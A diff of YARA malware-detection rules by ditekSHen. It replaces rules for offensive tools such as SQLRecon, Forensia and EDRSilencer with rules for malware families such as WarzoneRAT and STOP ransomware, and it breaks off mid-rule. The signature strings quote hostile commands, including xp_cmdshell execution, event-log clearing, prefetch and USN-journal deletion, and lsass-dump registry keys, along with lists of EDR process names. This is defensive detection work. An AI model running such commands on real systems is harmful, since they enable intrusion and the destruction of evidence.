logic_hash = "f4bba142652aaf77e5b7c123b743cf165ae17210c39cf65b7311f7e7bd91f7e1" + logic_hash = "4cde21932c27fe3c08495f557b5e086b1fb668d8b5508249891828b9ed48edd4" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "dashboard.ngrok.com" ascii - $s2 = "go.ngrok.com/cmd/ngrok/main.go" ascii - $s3 = "ngrok agent" ascii - $s4 = "*ngrok.clientInfo" ascii - $s5 = "'%s' socket: '%s' port: %d/edges/https/{{ .EdgeID }}/routes/{{ .ID }}/webhook_" ascii - $s6 = "/{{ .ID }}/tunnel_sessions/{{ .ID }}/restart" ascii + $rf1 = "[]A\\A]A^A_" ascii + $rf2 = "[A\\A]A^A_]" ascii + $f1 = "/bin/basH" ascii fullword + $f2 = "/proc/seH" ascii fullword + $f3 = "/dev/ptsH" ascii fullword + $f4 = "pqrstuvwxyzabcde" ascii fullword + $f5 = "libnss_%s.so.%d.%d" ascii fullword condition: - ( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f or uint16( 0 ) == 0xfacf ) and ( 3 of them ) + uint16( 0 ) == 0x457f and ( all of ( $f* ) and #rf1 > 3 and #rf2 > 3 ) } -rule DITEKSHEN_INDICATOR_TOOL_Sqlrecon : FILE +rule DITEKSHEN_MALWARE_Win_Itranslatorexe : FILE { meta: - description = "Detects SQLRecon C# MS-SQL toolkit designed for offensive reconnaissance and post-exploitation" + description = "Detects iTranslator EXE payload" author = "ditekSHen" - id = "ec91285b-690d-5fd3-b0fc-f8d72cbb7e15" + id = "763e8fa4-cf5c-54bc-9310-4e4171bf5a71" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1420-L1436" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2854-L2874" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "784dbc518cf9492557c9b3536256c4a9b03e4536cf7cee7e764b8009dd4686bb" + logic_hash = "3c796d58cdf2d4dc4c838d05fb862640c7f9de6c7e8ebb5fb0002821354208d9" score = 75 - quality = 75 + quality = 50 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.iTranslator_EXE" strings: - $s1 = "ConvertDLLToSQLBytes" ascii - $s2 = "\\SQLRecon.pdb" ascii - $s3 = "GetAllSQLServerInfo" ascii - $s4 = "<GetMSSQLSPNs>b__" ascii - $s5 = "select 1; exec master..xp_cmdshell" wide - $s6 = "-> Command Execution" wide - $s7 = ";EXEC dbo.sp_add_jobstep @job_name =" wide - $s8 = "EXEC sp_drop_trusted_assembly 0x" wide - $s9 = "(&(sAMAccountType=805306368)(servicePrincipalName=MSSQL*))" wide + $s1 = "\\itranslator\\wintrans.exe" fullword wide + $s2 = "\\SuperX\\SuperX\\Obj\\Release\\SharpX.pdb" fullword ascii + $s3 = "\\itranslator\\itranslator.dll" fullword ascii + $s4 = ":Intoskrnl.exe" fullword ascii + $s5 = "InjectDrv.sys" fullword ascii + $s6 = "SharpX.dll" fullword wide + $s7 = "GetMicrosoftEdgeProcessId" ascii + $s8 = ".php?type=is&ch=" ascii + $s9 = ".php?uid=" ascii + $s10 = "&mc=" fullword ascii + $s11 = "&os=" fullword ascii + $s12 = "&x=32" fullword ascii condition: - uint16( 0 ) == 0x5a4d and 5 of them + uint16( 0 ) == 0x5a4d and 8 of ( $s* ) } -rule DITEKSHEN_INDICATOR_TOOL_Atlasreaper : FILE +rule DITEKSHEN_MALWARE_Win_Itranslatordll : FILE { meta: - description = "Detects AtlasReaper command-line tool for Confluence and Jira reconnaissance, credential farming and social engineering" + description = "Detects iTranslator DLL payload" author = "ditekSHen" - id = "a0b4e134-bb05-5cc3-af71-516a0407aa1b" + id = "df05da78-3626-5eb5-81a2-a93fba844484" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1438-L1453" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2876-L2892" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "4a0436d5c3f1609d23b2b919bebdc56a7fd63e81b99e72dcda1022487cb88240" + logic_hash = "ca0479efd241058f358553b6382a1987a5b4c069965f4adb88cd2f3fc4bef21a" score = 75 - quality = 25 + quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.iTranslator_DLL" strings: - $s1 = "/((?:A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16})/" fullword wide - $s2 = "/rest/api/3/search?jql=" fullword wide - $s3 = "attachments+IS+NOT+EMPTY&fields=attachment,summary,status" fullword wide - $s4 = "<ParseJira>b__" ascii - $s5 = "<Atlas_Doc_Format>k__" ascii - $s6 = "<ParseConfluence>b__" ascii - $s7 = "AtlasReaper_ProcessedByFody" fullword ascii - $s8 = /AtlasReaper\.(Jira|Confluence)/ fullword ascii + $d1 = "system32\\drivers\\%S.sys" fullword wide + $d2 = "\\windows\\system32\\winlogon.exe" fullword ascii + $d3 = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\%s" fullword wide + $d4 = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\webssx" fullword wide + $d5 = "\\Device\\CtrlSM" fullword wide + $d6 = "\\DosDevices\\CtrlSM" fullword wide + $d7 = "\\driver_wfp\\CbFlt\\Bin\\CbFlt.pdb" ascii + $d8 = ".php" ascii condition: - uint16( 0 ) == 0x5a4d and 4 of them + uint16( 0 ) == 0x5a4d and all of them } -rule DITEKSHEN_INDICATOR_TOOL_Ngroksharp : FILE +rule DITEKSHEN_MALWWARE_Win_Octopus : FILE { meta: - description = "Detects NgrokSharp .NET library for Ngrok" + description = "Detects Octopus trojan payload" author = "ditekSHen" - id = "7c335021-4afd-5878-83c3-9bb2c81f3586" + id = "eb092e23-864f-52f3-bfa4-7e3c616d3984" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1455-L1471" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2894-L2917" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "c60637177114d369af9c3e96689811845ce1c1dfde8f7f971c4de21439564b4b" + logic_hash = "012b75c94be3021dbcc5b8e8bd62f807c9aa8bc0df94f830a5294aaf0d21b9fc" score = 75 - quality = 50 + quality = 23 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.Octopus" strings: - $x1 = "NgrokSharp" fullword wide - $x2 = "/entvex/NgrokSharp" ascii - $s1 = "start --none -region" wide - $s2 = "startTunnelDto" fullword wide - $s3 = "/tunnels/" fullword wide - $s4 = "<StartNgrok" ascii - $s5 = "INgrokManager" ascii - $s6 = "_tunnel_name" ascii - $s7 = "_ngrokDownloadUrl" ascii + $s1 = "\\Mozilla\\Firefox\\Profiles\\" fullword wide + $s2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword wide + $s3 = "\\wbem\\WMIC.exe" fullword wide + $s4 = ".profiles.ini" fullword wide + $s5 = "PushEBP_" ascii + $s6 = "MovEBP_ESP_" ascii + $s7 = "Embarcadero Delphi for Win32 compiler" ascii + $s8 = "TempWmicBatchFile.bat" fullword wide + $wq1 = "computersystem get Name /format:list" wide + $wq2 = "os get installdate /format:list" wide + $wq3 = "get serialnumber /format:list" wide + $wq4 = "\\\\\\\\.\\\\PHYSICALDRIVE" wide + $wq5 = "path CIM_LogicalDiskBasedOnPartition" wide + $wq6 = "get Antecedent,Dependent" wide + $wq7 = "path win32_physicalmedia" wide condition: - uint16( 0 ) == 0x5a4d and ( all of ( $x* ) or ( 1 of ( $x* ) and 3 of ( $s* ) ) or 4 of ( $* ) ) + uint16( 0 ) == 0x5a4d and ( 6 of ( $s* ) and 5 of ( $wq* ) ) } -rule DITEKSHEN_INDICATOR_TOOL_Ngrokgo : FILE +rule DITEKSHEN_MALWARE_Win_Caspertroy : FILE { meta: - description = "Detects Go implementation variant for Ngrok" + description = "Detects CasperTroy payload" author = "ditekSHen" - id = "b11f67c5-846d-57b2-8edc-521b2dc77503" + id = "822c3231-60ba-5e60-8df8-06dea80b318a" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1473-L1488" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2919-L2931" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "4ec151661e3af922aba202c68392a2af17e2c4ed25a71a0b5aacc13fbfcc5c53" + logic_hash = "ce070b1e6279ef9fa47f84da7c5166cd93b3e7a0f95541ae14c048b2af9bc431" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "/codegangsta/inject" fullword wide - $s2 = "go.ngrok.com/" ascii - $s3 = "GetIsNgrokDomain" ascii - $s4 = "GetNgrokMetering" ascii - $s5 = "*cli.ngrokService" ascii - $s6 = "GetAllowNgrokLink" ascii - $s7 = "ngrok {{.Name}}{{if .Flags}}" ascii - $s8 = "github.com/nikolay-ngrok/" ascii + $s1 = "DllTroy.dll" fullword ascii + $s2 = "Content-Disposition: form-data; name=\"image\"; filename=\"title.gif\"" fullword ascii + $s3 = "Content-Disposition: form-data; name=\"COOKIE_ID\"" fullword ascii + $s4 = "Content-Disposition: form-data; name=\"PHP_SESS_ID\"" fullword ascii + $s5 = "Content-Disposition: form-data; name=\"SESS_ID\"" fullword ascii condition: uint16( 0 ) == 0x5a4d and 4 of them } -rule DITEKSHEN_INDICATOR_Tool_Forensia : FILE +rule DITEKSHEN_MALWARE_Win_Rasftuby : FILE { meta: - description = "Detects Forensia anti-forensics tool used for erasing footprints" + description = "Detects Rasftuby/DarkCrystal" author = "ditekSHen" - id = "bcd05c2e-7ddd-5ce7-a6a7-0659bed38744" + id = "908624a8-0068-5512-a5d0-77ce1f4efd80" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1490-L1523" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2933-L2950" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "7147eee62df10cd8a6c00ec80c4d1bdb8234a181dd6af81d0580d847f05bd0b6" + logic_hash = "b769c1986d23173cf8a8a3c8a14d388a7c0327e46d936fc97c449dc55f2a5575" score = 75 - quality = 73 + quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.DarkCrystal.RAT-Rasftuby" strings: - $c1 = "for /F \"tokens=*\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \"%1\"" ascii - $c2 = "del /F /Q C:\\Windows\\Prefetch\\*" ascii - $c3 = "del C:\\Windows\\AppCompat\\Programs\\RecentFileCache.bcf" ascii - $c4 = "del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\*" ascii - $c5 = "del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\*" ascii - $c6 = "del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*" ascii - $c7 = "fsutil.exe usn deletejournal /D C:" ascii - $r1 = "\\Memory Management\\PrefetchParameters" wide - $r2 = "\\Explorer\\Advanced" wide - $r3 = "\\Services\\EventLog" wide - $r4 = "\\Shell\\BagMRU" wide - $r5 = "\\Control\\FileSystem" wide - $r6 = "\\Setup\\VC" wide - $s1 = "[LOG] - %s" wide - $s2 = "\\forensia\\regedit.hpp" wide - $s3 = "NtfsDisableLastAccessUpdate" wide - $s4 = "Melting The Executable" wide - $s5 = "Sysmon Unloader" wide - $s6 = "Rundll32.exe apphelp.dll,ShimFlushCache" ascii - $s7 = "\\Debug\\forensia.pdb" ascii - $s8 = { 55 00 00 00 aa 00 00 00 92 49 24 00 49 24 92 00 - 24 92 49 00 00 00 00 00 11 00 00 00 22 00 00 00 - 33 00 00 00 44 00 00 00 66 00 00 00 88 00 00 00 - 99 00 00 00 bb 00 00 00 cc 00 00 00 dd 00 00 00 - ee 00 00 00 ff 00 00 00 6d b6 db 00 b6 db 6d 00 - db 6d b6 } + $s1 = "/DCRS/main.php?data=active" fullword ascii wide + $s2 = "/socket.php?type=__ds_" ascii wide + $s3 = "/uploader.php" fullword ascii wide + $s4 = "del \\\"%USERPROFILE%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\System.lnk\\\"" fullword ascii wide + $s5 = "Host:{0},Port:{1},User:{2},Pass:{3}<STR>" fullword ascii wide + $s6 = "keyloggerstart_status" fullword ascii wide + $s7 = "keyloggerstop_status" fullword ascii wide + $s8 = "[PRINT SCREEN]" fullword ascii wide + $s9 = "DCS.Internal" ascii condition: - uint16( 0 ) == 0x5a4d and ( ( 4 of ( $c* ) and 2 of ( $r* ) ) or ( 4 of ( $r* ) and 2 of ( $c* ) ) or 6 of ( $s* ) or ( 3 of ( $s* ) and 2 of ( $r* ) and 1 of ( $c* ) ) ) + uint16( 0 ) == 0x5a4d and 5 of ( $s* ) } -rule DITEKSHEN_INDICATOR_TOOL_Dogzproxy : FILE +rule DITEKSHEN_MALWARE_Win_Protonbot : FILE { meta: - description = "Detects Dogz proxy tool" + description = "Detects ProtonBot loader" author = "ditekSHen" - id = "de2a8d26-0e8e-5999-baca-1e43933af866" + id = "b0d08378-0297-5e70-99f1-1dc0fec6fa01" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1525-L1537" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2952-L2969" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "575cfed9cb7979216fd8fd2a05efe5dfece3a9120b4f185c015918337829ed63" + logic_hash = "b511dfd47109d36ffc7fcb23b49779e1164d50a28061ab724d7a2c744ac23ac8" score = 75 quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.ProtonBot" strings: - $s1 = "LOGONSERVER=" fullword wide - $s2 = "DOGZ_E_" ascii - $s3 = "got handshake_id=%d" ascii - $s4 = "responser send connect ack" ascii - $s5 = "dogz " ascii + $x1 = "\\PROTON\\Release\\build.pdb" ascii + $x2 = "\\proton\\proton bot\\json.hpp" wide + $x3 = "proton bot" ascii wide + $s1 = "endptr == token_buffer.data() + token_buffer.size()" fullword wide + $s2 = "ranges.size() == 2 or ranges.size() == 4 or ranges.size() == 6" fullword wide + $s3 = "ref_stack.back()->is_array() or ref_stack.back()->is_object()" fullword wide + $s4 = "ktmw32.dll" fullword ascii + $s5 = "@detail@nlohmann@@" ascii + $s6 = "urlmon.dll" fullword ascii condition: - uint16( 0 ) == 0x5a4d and 4 of them + uint16( 0 ) == 0x5a4d and ( 2 of ( $x* ) or ( all of ( $s* ) and 1 of ( $x* ) ) ) } -rule DITEKSHEN_INDICATOR_TOOL_Fastreverseproxy : FILE +rule DITEKSHEN_MALWARE_Win_Imminentrat : FILE { meta: - description = "Detects Fast Reverse Proxy (FRP) tool" + description = "Detects ImminentRAT" author = "ditekSHen" - id = "d643cc38-a96c-5353-bb46-ca46ea740e3b" + id = "99831b32-d8a0-5814-bf41-491f607ee825" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1539-L1555" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2971-L2994" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "c26d9e8833c7055a03a446eb983c7f70f1f18669d009ebc204dda3f0bb6048f7" + logic_hash = "f959fd28e818b17c962fcd5bb99fa5ac0058f22494950e0200f139703f3e756a" score = 75 quality = 75 tags = "FILE" strings: - $x1 = "<title>frp client admin UI" ascii - $x2 = "https://github.com/fatedier/frp" ascii - $s1 = ").SetLogin" ascii - $s2 = ").SetPing" ascii - $s3 = ").SetNewWorkConn" ascii - $s4 = ").ServeHTTP" ascii - $s5 = ").Middleware" ascii - $s6 = "frpc proxy config error:" ascii - $s7 = "frpc sudp visitor proxy is close" ascii + $x1 = "abuse@imminentmethods.net" ascii + $x2 = "Imminent-Monitor-" ascii + $x3 = "AddressChangeListener" fullword ascii + $x4 = "SevenZipHelper" fullword ascii + $x5 = "WrapNonExceptionThrows" fullword ascii + $s1 = "_ENABLE_PROFILING" wide + $s2 = "Anti-Virus: {0}" wide + $s3 = "File downloaded & executed" wide + $s4 = "Chat - You are speaking with" wide + $s5 = "\\Imminent\\Plugins" wide + $s6 = "\\Imminent\\Path.dat" wide + $s7 = "\\Imminent\\Geo.dat" wide + $s8 = "DisableTaskManager = {0}" wide + $s9 = "This client is already mining" wide + $s10 = "Couldn't get AV!" wide + $s11 = "Couldn't get FW!" wide condition: - uint16( 0 ) == 0x5a4d and ( all of ( $x* ) or ( 1 of ( $x* ) and 4 of ( $s* ) ) or ( all of ( $s* ) ) ) + uint16( 0 ) == 0x5a4d and ( 4 of ( $x* ) or 5 of ( $s* ) ) } -rule DITEKSHEN_INDICATOR_TOOL_Gogoscan : FILE +rule DITEKSHEN_MALWARE_Win_Warzonerat : FILE { meta: - description = "Detects GoGo scan tool" + description = "Detects AveMaria/WarzoneRAT" author = "ditekSHen" - id = "c24ede04-2971-55f8-8b60-ec3bdca844d7" + id = "4f3df696-280c-5f2b-9511-8cc7c9dff1d6" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1557-L1571" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2996-L3011" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "c9fbc98a28c74bf920f5f7d62713834d18b33b5c65483a1bd42e4555764c8346" + logic_hash = "1af8b0f90b0de3287499082a6d6d9da6ed62a3110018e0c0f7149353693060b2" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "(conn) (scan (scan) MB in Value>" ascii - $s2 = "sweep sysmontargettelnet" ascii - $s3 = "%d bytes(?i) (.*SESS.*?ID)([a-z0-9])([A-Z]+)" ascii - $s4 = "prepareForSweep" ascii - $s5 = "Scanned %s with %d ports, found %d" ascii - $s6 = "/chainreactors/gogo/" ascii - $s7 = "Starting task %s ,total ports: %d , mod: %s" ascii + $s1 = "RDPClip" fullword wide + $s2 = "Grabber" fullword wide + $s3 = "Ave_Maria Stealer OpenSource" wide + $s4 = "\\MidgetPorn\\workspace\\MsgBox.exe" wide + $s5 = "@\\cmd.exe" wide + $s6 = "/n:%temp%\\ellocnak.xml" wide + $s7 = "Hey I'm Admin" wide + $s8 = "warzone160" fullword ascii condition: - uint16( 0 ) == 0x5a4d and 6 of them + uint16( 0 ) == 0x5a4d and 5 of ( $s* ) } -rule DITEKSHEN_INDICATOR_TOOL_Gogoprocdump : FILE +rule DITEKSHEN_MALWARE_Win_Karaganycore : FILE { meta: - description = "Detects GoGo (lsass) process dump tool" + description = "Detects Karagany/xFrost core plugin" author = "ditekSHen" - id = "f92845c6-f8ae-50d0-97ea-cfa72051c2de" + id = "c066805b-9373-5524-aff9-d16cd59f5a24" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1573-L1586" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3013-L3027" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "f410882e4c6c8b65e7d3c192cf94bf99d61cf54dc21d80cdf17193b34752c576" + logic_hash = "cde96ac6477fda1312ce4f7532018c9f11df7d39c40155d10bdde0e3d84c6d57" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "C:\\temp" ascii - $s2 = "gogo" fullword ascii - $s3 = "/DumpLsass-master/SilentProcessExit/" ascii - $s4 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zone" ascii - $s5 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\lsass.exe" ascii - $s6 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe" ascii + $s1 = "127.0.0.1" fullword ascii + $s2 = "port" fullword ascii + $s3 = "C:\\Windows\\System32\\Kernel32.dll" fullword ascii + $s4 = "kernel32.dll" fullword ascii + $s5 = "http" ascii + $s6 = "Move" fullword ascii + $s7 = " 1 and 4 of ( $s* ) } -rule DITEKSHEN_INDICATOR_TOOL_Sharpghosttask : FILE +rule DITEKSHEN_MALWARE_Win_Gdriverat : FILE { meta: - description = "Detects SharpGhostTask" + description = "Detects GDriveRAT" author = "ditekSHen" - id = "84d71179-0cfd-5389-b6bd-92c292361b3c" + id = "29e46280-39d1-5d49-ab0d-0a32398b30f0" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1806-L1817" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3265-L3284" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "3de8d9fe7804e208ff556b6bedbd80eebfda1a730626403418a555ad9fbbb820" + logic_hash = "134e66d0afc90e7fbab2c9dd034f85eb504903481e12c1ab8d7bab9321da817a" score = 75 quality = 50 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.GDriveRAT" strings: - $x1 = "Ghosted" wide - $x2 = /--target(binary|task)/ fullword wide - $x3 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\T" wide nocase - $s4 = "__GhostTask|" ascii + $h1 = "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart" fullword wide + $h2 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" fullword wide + $h3 = "multipart/related; boundary=\"boundary_tag\"" fullword wide + $h4 = "https://www.googleapis.com/drive/v3/files" fullword wide + $s1 = "move gdrive.exe \"C:\\Users\\" fullword wide + $s2 = "file_data" fullword ascii + $s3 = "comp_id" fullword ascii + $s4 = "file_name" fullword ascii + $s5 = "refresh_token" fullword ascii + $s6 = "commands" fullword ascii + $s7 = "execute" fullword ascii condition: - uint16( 0 ) == 0x5a4d and 3 of them + uint16( 0 ) == 0x5a4d and 3 of ( $h* ) and 5 of ( $s* ) } -rule DITEKSHEN_INDICATOR_TOOL_Krbrelay : FILE +rule DITEKSHEN_MALWARE_Win_STOP : FILE { meta: - description = "Detects KrbRelay" - author = "ditekshen" - id = "c8baac8a-54f3-5f53-93f8-daabeaaaff44" + description = "Detects STOP ransomware" + author = "ditekSHen" + id = "e928d917-a9d9-5830-938a-59b62608e84c" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1819-L1836" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3286-L3309" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "f76b585cd2d741eab9d91ffd5a34c38696ac573cba1a3752d21c4b8b6681ad7b" + logic_hash = "61f7e7c1139c56088b2f58b78ae132ffcfef0f931c15b67ea775b0d5e51d189d" score = 75 - quality = 75 + quality = 73 tags = "FILE" + snort2_sid = "920113" + snort3_sid = "920111" + clamav_sig = "MALWARE.Win.Ransomware.STOP" strings: - $s1 = "System.Collections.Generic.IEnumerable.GetEnumerator" fullword ascii - $s2 = "System.Collections.Generic.IEnumerator.get_Current" fullword ascii - $s3 = "GetProcessIdFromIPid" fullword ascii - $g1 = "hello.stg" fullword wide - $g2 = "DSInternals.Common" fullword ascii - $g3 = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_7b3eed059f4c3e41\\Amd64\\UNIDRV.DLL" fullword wide - $g4 = "C:\\Windows\\System32\\kernelbase.dll" fullword wide - $g5 = "get_UnsupportedSecretEncryptionType" fullword ascii - $g6 = "CoInitializeSecurity Error: 0x{0:X8}. Exploit will fail." fullword wide - $g7 = "AuthnSvc: {0} - PrincName: {1}" fullword wide + $x1 = "C:\\SystemID\\PersonalID.txt" fullword wide + $x2 = "/deny *S-1-1-0:(OI)(CI)(DE,DC)" wide + $x3 = "e:\\doc\\my work (c++)\\_git\\encryption\\" ascii wide nocase + $s1 = "\" --AutoStart" fullword ascii wide + $s2 = "--ForNetRes" fullword wide + $s3 = "--Admin" fullword wide + $s4 = "%username%" fullword wide + $s5 = "?pid=" fullword wide + $s6 = /&first=(true|false)/ fullword wide + $s7 = "delself.bat" ascii + $mutex1 = "{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}" fullword ascii + $mutex2 = "{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}" fullword ascii + $mutex3 = "{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}" fullword ascii condition: - uint16( 0 ) == 0x5a4d and ( ( all of ( $s* ) and 4 of ( $g* ) ) or ( 7 of them ) ) + uint16( 0 ) == 0x5a4d and ( ( 2 of ( $x* ) and 1 of ( $mutex* ) ) or ( all of ( $x* ) ) or ( 6 of ( $s* ) and ( 1 of ( $x* ) or 1 of ( $mutex* ) ) ) or ( 9 of them ) ) } -rule DITEKSHEN_INDICATOR_TOOL_Edrsilencer : FILE +rule DITEKSHEN_MALWARE_Win_Parallaxrat : FILE { meta: - description = "Detects EDRSilencer" - author = "ditekshen" - id = "29b6da1e-9138-5ee6-b9fd-d7b3c7f48626" + description = "Detects ParallaxRAT" + author = "ditekSHen" + id = "e602b28f-ae5d-52af-b1c5-5c41776dd4c5" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1838-L1857" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3311-L3328" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "da00aced2608fd5e192397ef2346ac247f29f993995fb90189e05da60be15d13" + logic_hash = "7fd94dee44079b595b906f1687f44b51b8cebabbeb0900563b8d4fcc0e46bdd0" score = 75 quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.ParallaxRAT" strings: - $s1 = "block \"C:\\Windows\\System32\\curl.exe\"" ascii - $s2 = "blockedr" fullword ascii - $s3 = "edrProcess" fullword ascii - $s4 = "BlockEdrProcessTraffic" fullword ascii - $s5 = "isInEdrProcessList" fullword ascii - $s6 = "EDRSilencer.c" fullword ascii - $v1 = "elastic-agent.exe" fullword ascii nocase - $v2 = "CybereasonAV.exe" fullword ascii nocase - $v3 = "SentinelAgent.exe" fullword ascii nocase - $v4 = "fortiedr.exe" fullword ascii nocase - $v5 = "MsMpEng.exe" fullword ascii nocase - $v6 = "CylanceSvc.exe" fullword ascii nocase + $s1 = "[Clipboard End]" fullword wide + $s2 = "[Ctrl +" fullword wide + $s3 = "[Alt +" fullword wide + $s4 = "Clipboard Start" wide + $s5 = "(Wscript.ScriptFullName)" wide + $s6 = "CSDVersion" fullword ascii + $s7 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" fullword ascii + $x1 = { 2e 65 78 65 00 00 84 00 00 4d 5a 90 00 } + $x2 = "This program cannot be run in DOS mode" ascii condition: - uint16( 0 